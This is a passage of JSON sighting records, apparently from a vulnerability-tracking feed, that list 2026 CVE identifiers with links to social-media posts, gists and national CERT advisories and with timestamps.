"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31831", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3michmhospv24", "content": "", "creation_timestamp": "2026-03-30T20:07:06.696679Z"}, {"uuid": "5e10b669-f89c-482f-8c3b-12b530c3a0cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31903", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhm54vb3dm2s", "content": "", "creation_timestamp": "2026-03-21T23:00:49.170956Z"}, {"uuid": "adc2cfea-fd1f-4f79-af71-a62c9dff9cdb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31836", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3micq6an5ci2d", "content": "", "creation_timestamp": "2026-03-30T22:40:09.598003Z"}, {"uuid": "6934c7d3-335a-4f41-a197-c23ce44e2702", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3104", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhwiz6e3hk2s", "content": "", "creation_timestamp": "2026-03-26T02:00:07.128635Z"}, {"uuid": "fc214c8d-63d9-46d3-8254-6e397166b857", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31904", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhjyayym2m2d", "content": "", "creation_timestamp": "2026-03-21T02:28:18.316916Z"}, {"uuid": "23734da5-4118-436b-8182-8935c4db9dab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-3104", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mhwj3dt6zz2w", "content": "", "creation_timestamp": "2026-03-26T02:01:20.960448Z"}, {"uuid": "5d66e628-37c6-4c62-9cbf-94dfa4d3e88a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3119", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mhwj3eyqa622", "content": "", "creation_timestamp": "2026-03-26T02:01:21.998112Z"}, {"uuid": "0772bc9d-3a72-4232-ac59-8d7dfb90b82c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31994", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mhho23jcpr2r", "content": "", "creation_timestamp": "2026-03-20T04:20:09.527291Z"}, {"uuid": "69dfb3d4-8c06-44d6-89af-dcc83c826c1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3104", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mhwj3eyqa622", "content": "", "creation_timestamp": "2026-03-26T02:01:22.252276Z"}, {"uuid": "5cb561c6-7346-45f2-bcbf-d05b5cb4180c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31903", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhjziogwzp2u", "content": "", "creation_timestamp": "2026-03-21T02:50:29.637324Z"}, {"uuid": "88ee9a93-169f-4fd1-a5d5-800336aef93f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31938", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhdj2jihmr2h", "content": "", "creation_timestamp": "2026-03-18T12:40:16.843020Z"}, {"uuid": "7137c5f7-42a4-4ba0-a06e-87016993fb8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31938", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhdj4grae22s", "content": "", "creation_timestamp": "2026-03-18T12:41:21.246642Z"}, {"uuid": "bb00f627-ac63-41e4-b64c-e770c08226ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31898", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhdj4o4jp72s", "content": "", "creation_timestamp": "2026-03-18T12:41:28.950615Z"}, {"uuid": "7a3e83aa-f3a4-4711-b913-bfd54c3065ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31891", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhdj4uuvem2c", "content": "", "creation_timestamp": "2026-03-18T12:41:35.961876Z"}, {"uuid": "2111b164-bc5a-442e-9120-5fd01e5707ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31898", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhdj5oxa7f2u", "content": "", "creation_timestamp": "2026-03-18T12:42:03.129689Z"}, {"uuid": "4c4ed5fd-1569-42fe-b842-4d87a8a363a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31898", "type": "seen", "source": "https://bsky.app/profile/potato.software/post/3mhdj5pycu52i", "content": "", "creation_timestamp": "2026-03-18T12:42:07.177602Z"}, {"uuid": "36b0a751-5f30-441a-928f-f0f96615ef29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31891", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhdj5wo5gl26", "content": "", "creation_timestamp": "2026-03-18T12:42:11.376978Z"}, {"uuid": "c4343cf9-6111-4f9e-91c3-a04ba90d0763", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31979", "type": "seen", "source": "https://bsky.app/profile/pigondrugs.bsky.social/post/3mhk5hro5qv2z", "content": "", "creation_timestamp": "2026-03-21T04:01:34.444457Z"}, {"uuid": "5464f356-fe4f-4f13-bd23-4e208c3509af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3124", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mialzmanvq2c", "content": "", "creation_timestamp": "2026-03-30T02:20:40.752607Z"}, {"uuid": "01621ab1-5b53-4b6f-aa8f-6f1618dab1ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-3124", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116315889917405260", "content": "", "creation_timestamp": "2026-03-30T03:00:29.704286Z"}, {"uuid": "737e9cb4-f887-40c2-b576-f4b935396696", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-3124", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3miaoav5qdo2y", "content": "", "creation_timestamp": "2026-03-30T03:00:31.354944Z"}, {"uuid": "0c44db8d-81e8-4d42-8688-802026e71078", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3104", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mhxtim2xjx26", "content": "", "creation_timestamp": "2026-03-26T14:40:20.918428Z"}, {"uuid": "f77fdb91-4ad6-47de-92dc-653b94da0ae5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3119", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mhxtim2xjx26", "content": "", "creation_timestamp": "2026-03-26T14:40:20.999988Z"}, {"uuid": "b030d815-f8c3-41d9-a425-e3274650f39b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3119", "type": "seen", "source": "https://bsky.app/profile/shiojiri.com/post/3mhwst2yh4khy", "content": "", "creation_timestamp": "2026-03-26T04:55:38.654428Z"}, {"uuid": "fffba97b-a511-4087-8aef-e6b4b9c7c691", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31839", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mhkcy2q7wx2m", "content": "", "creation_timestamp": "2026-03-21T05:40:09.354350Z"}, {"uuid": "d58c2af0-ab6e-4572-9c42-858c50d8d5bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3104", "type": "seen", "source": "https://bsky.app/profile/shiojiri.com/post/3mhwsts5ymchy", "content": "", "creation_timestamp": "2026-03-26T04:56:04.166088Z"}, {"uuid": "229f4b9b-3f3d-42eb-ad28-e3b3193432dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31829", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mhbcnayxi42u", "content": "", "creation_timestamp": "2026-03-17T15:40:09.499630Z"}, {"uuid": "9e79c074-8ebc-4004-839b-530831109e28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31863", "type": "seen", "source": "https://gist.github.com/alon710/2f5ac9f201724311bd0bb59616acb73c", "content": "", "creation_timestamp": "2026-03-11T18:10:06.000000Z"}, {"uuid": "44098df0-733a-4429-9070-8bb9bd9ca582", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31857", "type": "seen", "source": "https://gist.github.com/alon710/f8f86330f5c731974b8d35df7d20cd75", "content": "", "creation_timestamp": "2026-03-12T10:10:05.000000Z"}, {"uuid": "48ab4245-133a-402a-ae2a-72fde84424a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31892", "type": "seen", "source": "https://gist.github.com/alon710/50660dc4d55027714a8cd550ac80fb4f", "content": "", "creation_timestamp": "2026-03-11T19:40:05.000000Z"}, {"uuid": "f0c6839c-a219-4477-8f8f-316a9f2c52cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3124", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3miaw3amjh32v", "content": "", "creation_timestamp": "2026-03-30T05:20:31.813715Z"}, {"uuid": "255136d5-f1b0-4a09-92d7-17011a8b1373", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3124", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3miaw3mogc224", "content": "", "creation_timestamp": "2026-03-30T05:20:44.244334Z"}, {"uuid": "9f874ac4-5172-4f0a-97a0-8aac7af7a1c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3104", "type": "seen", "source": "https://gist.github.com/elchinsir/a50bb1cfa4daf45f28b65ae3f0eeb05a", "content": "", "creation_timestamp": "2026-03-30T22:50:34.000000Z"}, {"uuid": "aad18e14-fa56-4930-ada5-4095e62b4afd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31931", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mhdoeboope2c", "content": "", "creation_timestamp": "2026-03-18T14:15:12.299711Z"}, {"uuid": "fe4c174f-7492-49a0-a1a7-ab660ad53f90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31932", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mhdoeboope2c", "content": "", "creation_timestamp": "2026-03-18T14:15:12.428747Z"}, {"uuid": "e1c031b8-44e8-47a5-af02-c61fa296d94b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31933", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mhdoeboope2c", "content": "", "creation_timestamp": "2026-03-18T14:15:12.507572Z"}, {"uuid": "9b6526ca-66d5-49ce-a002-c6d5ac3b6c88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31934", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mhdoeboope2c", "content": "", "creation_timestamp": "2026-03-18T14:15:12.640612Z"}, {"uuid": "caf5cbb4-62dd-456c-b009-6ef430a56975", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31937", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mhdoeboope2c", "content": "", "creation_timestamp": "2026-03-18T14:15:12.874739Z"}, {"uuid": "74802819-0fe2-4ebf-8eaa-0b45f42256a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31802", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "8a645372-d463-40a7-9955-d55c05062e22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31804", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mickcgysod22", "content": "", "creation_timestamp": "2026-03-30T20:55:07.896846Z"}, {"uuid": "48dd314e-643b-4e97-b4bd-d8556f9253c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31935", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mhdoeboope2c", "content": "", "creation_timestamp": "2026-03-18T14:15:12.789209Z"}, {"uuid": "d2079b68-fb4a-4e4c-8556-891d52bb45a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-3195", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "75d3737d-d4e7-4911-9e34-079ae9bda144", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-3196", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "3c798e7f-fc65-4a84-b056-b0355df5366e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31976", "type": "seen", "source": "https://gist.github.com/alon710/74a8a12bf6cb699bbfaf1a99d2e4e0d0", "content": "", "creation_timestamp": "2026-03-11T23:10:05.000000Z"}, {"uuid": "733166bf-00c4-4b7b-abb8-c5d63f779040", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31886", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mhdua3doyq2w", "content": "", "creation_timestamp": "2026-03-18T16:00:14.406573Z"}, {"uuid": "189ac20e-e0f3-4b83-98fc-43a616efd2c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31853", "type": "seen", "source": "https://infosec.exchange/users/certvde/statuses/116316841599408182", "content": "", "creation_timestamp": "2026-03-30T07:02:33.523743Z"}, {"uuid": "078f07bc-8b52-4671-9814-3a6f50263c3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31889", "type": "seen", "source": "https://gist.github.com/alon710/b03cab59ac9b3af949ff7e9d16d01a05", "content": "", "creation_timestamp": "2026-03-12T03:40:05.000000Z"}, {"uuid": "32f3e38d-f7eb-445d-a05b-d50f0b827105", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31998", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mhhsj4wzoq2a", "content": "", "creation_timestamp": "2026-03-20T05:40:09.186826Z"}, {"uuid": "74b97033-6d88-4a41-8ad5-8e0445c03242", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31888", "type": "seen", "source": "https://gist.github.com/alon710/e3dc62168c67266174e7a28a55951177", "content": "", "creation_timestamp": "2026-03-12T04:10:06.000000Z"}, {"uuid": "f49846e6-0004-4d5c-b296-c2a5bb2c2b3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31976", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116214322775110049", "content": "", "creation_timestamp": "2026-03-12T04:30:39.249168Z"}, {"uuid": "3d3e8c51-e262-4a78-8e92-e8a0a91218ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31903", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-078-07", "content": "", "creation_timestamp": "2026-03-19T11:00:00.000000Z"}, {"uuid": "9bcc93f9-7cef-4107-aa8e-d51c5fedcca8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31887", "type": "seen", "source": "https://gist.github.com/alon710/82ec533b20bb9e3d8616b393b125eda2", "content": "", "creation_timestamp": "2026-03-12T04:40:06.000000Z"}, {"uuid": "d9d121e9-0249-4a7b-9e45-d5f223d35e61", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31926", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-078-07", "content": "", "creation_timestamp": "2026-03-19T11:00:00.000000Z"}, {"uuid": "1dd24df6-2a8a-41a5-9e4f-d431346dcfa2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31957", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116214676048572168", "content": "", "creation_timestamp": "2026-03-12T06:00:28.703175Z"}, {"uuid": "34adcebc-09ad-4b7d-b5f7-c5c959cf9886", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31904", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-078-06", "content": "", "creation_timestamp": "2026-03-19T11:00:00.000000Z"}, {"uuid": "97a810f5-9fba-4453-a530-5ffacc50e713", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31899", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mhdwhhf7du22", "content": "", "creation_timestamp": "2026-03-18T16:40:09.394428Z"}, {"uuid": "31172531-4da0-463c-9040-0f6d49f2f53c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31830", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mhkksjq4ip22", "content": "", "creation_timestamp": "2026-03-21T08:00:13.713005Z"}, {"uuid": "c31a82a8-a9de-4734-bb1b-5125cd595d8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31870", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mhdxlet7hw2x", "content": "", "creation_timestamp": "2026-03-18T17:00:14.329593Z"}, {"uuid": "16cb72c5-f782-42fd-819b-920efebde3ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31988", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-31988", "content": "", "creation_timestamp": "2026-03-11T22:16:00.000000Z"}, {"uuid": "4bacf4bf-4c48-4748-9512-603623ab8805", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31887", "type": "seen", "source": "https://bsky.app/profile/secqube.com/post/3mhuvbf3wrc2a", "content": "", "creation_timestamp": "2026-03-25T10:34:07.014767Z"}, {"uuid": "80163662-fe96-4398-af4f-a0bd3931462a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31386", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116237325411560311", "content": "", "creation_timestamp": "2026-03-16T06:00:31.605937Z"}, {"uuid": "f80cdfc1-6192-46aa-ac30-5922aebc773f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31931", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0309/", "content": "", "creation_timestamp": "2026-03-18T00:00:00.000000Z"}, {"uuid": "4a6e5239-e67e-4431-b9a5-8bd1b4dceffe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31381", "type": "seen", "source": "https://bsky.app/profile/rapid7.com/post/3mhiljo6zek2g", "content": "", "creation_timestamp": "2026-03-20T13:07:52.846228Z"}, {"uuid": "e601bd5d-9d99-44f0-9531-613a13a9dd6c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31382", "type": "seen", "source": "https://bsky.app/profile/rapid7.com/post/3mhiljo6zek2g", "content": "", "creation_timestamp": "2026-03-20T13:07:52.922725Z"}, {"uuid": "9ace673a-6e0e-43cf-9489-f5443affa655", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31933", "type": "seen", "source": "https://www.acn.gov.it/portale/w/risolte-vulnerabilita-in-suricata", "content": "", "creation_timestamp": "2026-03-27T09:25:58.000000Z"}, {"uuid": "750814ad-d861-4b47-b3f1-7b39d556869b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31937", "type": "seen", "source": "https://www.acn.gov.it/portale/w/risolte-vulnerabilita-in-suricata", "content": "", "creation_timestamp": "2026-03-27T09:25:58.000000Z"}, {"uuid": "bd30561e-f231-412c-9040-12ae8210f6f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31935", "type": "seen", "source": "https://www.acn.gov.it/portale/w/risolte-vulnerabilita-in-suricata", "content": "", "creation_timestamp": "2026-03-27T09:25:58.000000Z"}, {"uuid": "bea56848-921e-4988-8fac-75ef444dacd2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31934", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0309/", "content": "", "creation_timestamp": "2026-03-18T00:00:00.000000Z"}, {"uuid": "b20b2d86-3d91-4127-a43f-e46d0018ed1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31870", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mhieznfew22h", "content": "", "creation_timestamp": "2026-03-20T11:11:34.537734Z"}, {"uuid": "a5bf49f8-0e61-4651-94a7-5cf9359c2471", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31934", "type": "seen", "source": "https://www.acn.gov.it/portale/w/risolte-vulnerabilita-in-suricata", "content": "", "creation_timestamp": "2026-03-27T09:25:58.000000Z"}, {"uuid": "f0f047d7-6941-497e-848d-209c92e7b5b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31931", "type": "seen", "source": "https://www.acn.gov.it/portale/w/risolte-vulnerabilita-in-suricata", "content": "", "creation_timestamp": "2026-03-27T09:25:58.000000Z"}, {"uuid": "90fee68e-949b-456f-a426-882a75c21a88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31932", "type": "seen", "source": "https://www.acn.gov.it/portale/w/risolte-vulnerabilita-in-suricata", "content": "", "creation_timestamp": "2026-03-27T09:25:58.000000Z"}, {"uuid": "a4ad7ed9-e5e0-46de-bf50-660613d69b5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31839", "type": "seen", "source": "https://gist.github.com/alon710/11a61b6d10f7ad9ce72bb2f275b7afb0", "content": "", "creation_timestamp": "2026-03-12T10:40:06.000000Z"}, {"uuid": "0d0daad1-4e96-4f07-991e-539fed421fe5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31788", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mhsqjmkndb2n", "content": "", "creation_timestamp": 